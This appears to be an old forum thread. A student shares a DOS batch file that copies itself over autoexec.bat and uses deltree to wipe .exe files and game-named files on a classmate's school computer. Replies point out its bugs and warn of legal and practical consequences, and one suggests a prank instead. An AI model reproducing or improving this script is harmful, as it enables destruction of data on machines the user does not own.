my batch file
before you say anything this batch file was made by me to keep this one other kid in my networking class from using any .exe file on his desktop or floppy (since he brags about how much warez he has ) anyways what do you guys think
//name this prog.bat
REM: warez is illegal adrian
copy prog.bat /y c:\autoexec.bat
echo checking windows\desktop folder...
IF EXIST c:\windows\desktop\*.exe goto wipe desktop
deltree /y c:\windows\desktop\*.exe
echo checking a drive...
IF EXIST a:\*.exe goto floppydelete
deltree /y a:\*.exe
echo checking for NES filename..
IF EXIST c:\*NES* goto NESfound
echo checking for nes filename...
IF EXIST c:\*nes* goto nesfound
echo checking for game filename...
IF EXIST c:\*game* goto gamefound
echo checking for Nes filename...
IF EXIST c:\*Nes* goto Nesfound
deltreee /y c:\*NES*
deltree /y c:\*nes*
deltree /y c:\*game*
deltree /y c:\*Nes*
echo thanks for your cooperation adrian

If your only concern is to prevent your 'friend' from using exe-files on his 'desktop' or floppy, then you could do that in one, maybe two lines, using doskey.
Not only is your batch-file far from flawless and will it 'reveal' itself the moment it's executed, I didn't know DOS was case-sensitive, either...
Have you actually tried executing this batch-file?

If he has/is using WAREZ in your networking class then report him.
If you take it upon yourself to start deleting files off of another class computer, far more serious things could happen to you...like for example, being charged with destroying/tampering with state property? You are only asking for trouble by doing this (and at least from what I see, it won't work, you at least have 1 typo).
There is only one constant, one universal, it is the only real truth: causality. Action. Reaction. Cause and effect...There is no escape from it, we are forever slaves to it. Our only hope, our only peace is to understand it, to understand the 'why'. 'Why' is what separates us from them, you from me. 'Why' is the only real social power, without it you are powerless.

I agree, deleting files on a computer that doesnt belong to you is usually asking for trouble. If you must be an annoyance to your classmates, I reccomend a more amusing and less destructive aproach like turning his cursor into an animated penis, or something equally as tasteless and amusing. (I admit this also would not 'technically' be legal, but it sure would be funny.)

just playin around with my friends ;-)
i executed the program and it works fine, though.

Thats not playing around. If this is a school computer you will be damaging thier system as well as anything illegal he has downloaded. deltree is not a toy. You'd be better off to just report him. Just remeber that somebody has to go through and replace any legitimate programs you might wipe out with your litle batch file.

Simo you will find that most people in here are the same guys that have to clean up after script kiddes when batch files like these make a mess of things or delete legitimite programs so you wont find too many if any people in here that will think progs like these are "cool"
